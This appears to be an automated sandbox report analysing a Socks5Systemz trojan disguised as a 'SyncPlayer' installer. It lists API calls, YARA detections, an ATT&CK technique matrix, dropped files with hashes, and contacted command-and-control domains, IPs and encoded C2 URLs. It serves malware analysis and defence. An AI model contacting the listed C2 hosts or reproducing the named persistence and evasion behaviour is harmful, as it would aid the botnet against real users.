Code function: 2_2_02B601BE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

2_2_02B601BE

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

2_2_02B601BE

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_0044806C LoadLibraryExA,LoadLibraryA,GetProcAddress,

1_2_0044806C

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_02B4648B RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,

2_2_02B4648B

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_02B59528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_02B59528

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_00473FB8 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

1_2_00473FB8

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_0045B3F4 GetVersion,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,AllocateAndInitializeSid,GetLastError,LocalFree,

1_2_0045B3F4

Source: is-8AHH0.tmp.1.dr, is-6CN68.tmp.1.dr	Binary or memory string: Progman
Source: is-6CN68.tmp.1.dr	Binary or memory string: HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSunSunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecIsWow64Processkernel32runasRunNonElevated S_FALSE == IsElevated()RunNonElevated IsWow64VistaElevatorMsgProgmanRunNonElevated Error hwndShellRunNonElevated Error GetModuleHandleExRunNonElevated Error SetWindowsHookExRunNonElevated Error StringCchCopyRunNonElevated Error StringCchCopy 2RunNonElevated Error StringCchCopy 3RunNonElevated overH
Source: is-8AHH0.tmp.1.dr	Binary or memory string: HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSunSunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecrunasVistaElevatorMsgProgman!

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_02B5806E cpuid

2_2_02B5806E

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: GetLocaleInfoA,	0_2_0040515C
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: GetLocaleInfoA,	0_2_004051A8
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: GetLocaleInfoA,	1_2_004084D0
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: GetLocaleInfoA,	1_2_0040851C

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_00456EE4 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

1_2_00456EE4

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Code function: 0_2_004026C4 GetSystemTime,

0_2_004026C4

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_004540A8 GetUserNameA,

1_2_004540A8

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Code function: 0_2_00405C44 GetVersionExA,

0_2_00405C44

Stealing of Sensitive Information

Yara detected Socks5Systemz

Source: Yara match	File source: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2901818594.0000000002A93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: syncplayer32_64.exe PID: 7112, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2901818594.0000000002A93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: syncplayer32_64.exe PID: 7112, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Service Execution	4 Windows Service	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	1 Access Token Manipulation	22 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	4 Windows Service	1 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	3 Process Injection	1 Masquerading	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	112 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	3 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bootkit	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
OFjT8HmzFJ.exe	30%	Virustotal		Browse
OFjT8HmzFJ.exe	100%	Avira	HEUR/AGEN.1332570

Dropped Files

Source	Detection	Scanner
C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\AudioResample.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\CamCapture.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ISTask.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\InstallHelp.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\IntelHW.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\MagicSkin.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-GN1VG.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-HL5P4.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-LN7FL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcm90.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcp90.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcr90.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-5FDD3.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-C25HO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-M4GIC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-R8N4P.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90u.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90u.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\comctl32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\is-8817T.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\NvenCoderKernel.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\RecWin7.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ScreenHook.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ServiceCtrl.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\TextDlg.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE64.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Verify.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\WaveRec.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avdevice-55.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avutil-52.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\cudaEncoderKernel.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1R8O6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1RRKJ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-4FGVI.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6CN68.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6UNEV.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-76H43.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-8AHH0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-A1FNP.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-ATOOC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-AVN0V.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-B8KUP.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CBP2N.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CMGGO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-DLH94.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-E4LUD.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EDQQG.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EHN7D.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-F9AEL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-FCOF0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-GC27D.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-JJ68A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-N0A7K.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-O9SMK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-P4C7K.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-RFD24.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-S18VE.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-T16J5.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://www.tweak-uac.comb	0%	Avira URL Cloud	safe
http://sources.redhat.com/pthreads-win32/d&	0%	Avira URL Cloud	safe
http://bbdxzzh.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a	0%	Avira URL Cloud	safe
http://sources.redhat.com/pthreads-win32/b%	0%	Avira URL Cloud	safe
http://bbdxzzh.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692386789f918c2e690	0%	Avira URL Cloud	safe
http://endpoints5-scl.5060sip.com/cfg/poly-0004f2bd743f.cfg	0%	Avira URL Cloud	safe
bbdxzzh.com	0%	Avira URL Cloud	safe
http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d8	0%	Avira URL Cloud	safe
http://sources.redhat.com/pthreads-win32/b%	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
endpoints5-scl.5060sip.com	199.101.131.210	true	false		unknown
bbdxzzh.com	185.208.158.202	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bbdxzzh.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692386789f918c2e690	true	Avira URL Cloud: safe	unknown
http://bbdxzzh.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a	true	Avira URL Cloud: safe	unknown
bbdxzzh.com	true	Avira URL Cloud: safe	unknown
http://endpoints5-scl.5060sip.com/cfg/poly-0004f2bd743f.cfg	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	OFjT8HmzFJ.tmp, OFjT8HmzFJ.tmp, 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DLH94.tmp.1.dr, OFjT8HmzFJ.tmp.0.dr	false		high
http://www.tweak-uac.comb	is-8AHH0.tmp.1.dr, is-6CN68.tmp.1.dr	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/psU	OFjT8HmzFJ.exe, 00000000.00000003.1652030703.0000000002128000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.exe, 00000000.00000003.1651894875.0000000002350000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.tmp, 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DLH94.tmp.1.dr, OFjT8HmzFJ.tmp.0.dr	false		high
ftp://http://HTTP/1.0	is-C25HO.tmp.1.dr, is-M4GIC.tmp.1.dr	false		high
http://sources.redhat.com/pthreads-win32/d&	is-A1FNP.tmp.1.dr	false	Avira URL Cloud: safe	unknown
http://sources.redhat.com/pthreads-win32/b%	is-GC27D.tmp.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://gilisoft.com/webtools/livecheck/IsValidKey3.php?key=	is-6UNEV.tmp.1.dr	false		high
http://gilisoft.com/webtools/livecheck/ctrlKey2.php?key=%s&ctrl=delete	is-6UNEV.tmp.1.dr	false		high
http://www.remobjects.com/ps	OFjT8HmzFJ.exe, 00000000.00000003.1652030703.0000000002128000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.exe, 00000000.00000003.1651894875.0000000002350000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.tmp, OFjT8HmzFJ.tmp, 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DLH94.tmp.1.dr, OFjT8HmzFJ.tmp.0.dr	false		high
http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82d	syncplayer32_64.exe, 00000002.00000002.2901352412.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://gilisoft.com/webtools/livecheck/IsValidKey.php?key=	is-6UNEV.tmp.1.dr	false		high
http://gilisoft.com/webtools/livecheck/UploadKeyInfo.php?key=%s&mail=%s&os=%s&lan=%s&mac=%s&vnum=%s	is-6UNEV.tmp.1.dr	false		high
http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d8	syncplayer32_64.exe, 00000002.00000002.2901352412.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.208.158.202	bbdxzzh.com	Switzerland	34888	SIMPLECARRER2IT	true
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false
199.101.131.210	endpoints5-scl.5060sip.com	United States	22450	XN-NC-ASN01US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548912
Start date and time:	2024-11-05 02:13:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	OFjT8HmzFJ.exe renamed because original name is a hash value
Original Sample Name:	c776a9efdaba18f15a5f554ae52c0385.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/101@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 197 Number of non-executed functions: 244
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:14:29	API Interceptor	476860x Sleep call for process: syncplayer32_64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.208.158.202	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse
	G4G14X6zxY.exe	Get hash	malicious	Socks5Systemz	Browse
	K5G8ehb2X4.exe	Get hash	malicious	Socks5Systemz	Browse
	VgTEzAer6E.exe	Get hash	malicious	Socks5Systemz	Browse
	iv2Mm5SEJF.exe	Get hash	malicious	Socks5Systemz	Browse
	R3Tb6f1QFD.exe	Get hash	malicious	Socks5Systemz	Browse
	FrYYvqvO2s.exe	Get hash	malicious	Socks5Systemz	Browse
	urHdxJtF4p.exe	Get hash	malicious	Socks5Systemz	Browse
	gi5qOqqypd.exe	Get hash	malicious	Socks5Systemz	Browse
89.105.201.183	N6jsQ3XNNX.exe	Get hash	malicious	Socks5Systemz	Browse	200
89.105.201.183	cv viewer plugin 8.31.40.exe	Get hash	malicious	Socks5Systemz	Browse	200

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	185.208.158.202
	kC3x9xfqbq.exe	Get hash	malicious	Amadey	Browse	185.208.159.121
	G4G14X6zxY.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	kC3x9xfqbq.exe	Get hash	malicious	Amadey	Browse	185.208.159.121
	K5G8ehb2X4.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	EL2pA2iHak.dll	Get hash	malicious	Amadey	Browse	185.208.159.121
	EL2pA2iHak.dll	Get hash	malicious	Amadey	Browse	185.208.159.121
	mX4cezhMEH.dll	Get hash	malicious	Amadey	Browse	185.208.159.121
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.208.159.121
NOVOSERVE-ASNL	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	89.105.201.183
	G4G14X6zxY.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	K5G8ehb2X4.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	VgTEzAer6E.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	iv2Mm5SEJF.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	R3Tb6f1QFD.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	FrYYvqvO2s.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	urHdxJtF4p.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	gi5qOqqypd.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy)	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse
	8hN4C25a0O.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	tuc5.exe	Get hash	malicious	Socks5Systemz	Browse
	tuc5.exe	Get hash	malicious	Socks5Systemz	Browse

Created / dropped Files

C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe

Download File

Process:	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2565120
Entropy (8bit):	6.743990559862836
Encrypted:	false
SSDEEP:	49152:tBCeezHk9xf76j9r750ZVA09v0ybQMBEsvjlmB7fRn6:aEzcyZVZ9v0yUKvjlmT
MD5:	5FBD9E9B8796E7B4A40FD070F0F43F8E
SHA1:	A8F7C0ED0A95D0DE6760C6F98805B31CED75AE79
SHA-256:	028A437887E0A5A12493C3EC0A5D23C6ED182CD0E88E40F0E8180904ED6A41C1
SHA-512:	02A40D5DC8044B8875F8846204D4F0C76C1BEE7E81422E0CB209BDA05C46F88E61B802520F445FABFF5DD17B9DFBD0DE82B9EE8312F5863AF3C902BF9F7C1754
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,.L..........'......."..........."......."...@...........................'......j'.....................................t.".......#..............................................................................."..............................text.....".......".................`....rdata..\|<...."..>....".............@..@.data....... #..0....#.............@....rsrc.........#......8#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ec114it45.dat

Download File

Process:	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Btn:Ln
MD5:	180C38148AF7996E8873FF649916E3A8
SHA1:	75DA25EE676BFA612F60158A8DA7B0CC89928199
SHA-256:	AC1176C4484722274A674C020DC462BD1D205211912503B967EE697FC14840FB
SHA-512:	DFE52AFB479812EBDC367D1A31BDDE3B34A10836B9013280A7DD52ADAC57E7A92410AACA7BEE9399086E4D6C436E35D882D41415059AFE6869DA0C6B64F1DBF3
Malicious:	false
Reputation:	low
Preview:	.q)g....

C:\ProgramData\ec114rc45.dat

Download File

Process:	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:B:B
MD5:	B1DD6CE1962B44284E65236B55569647
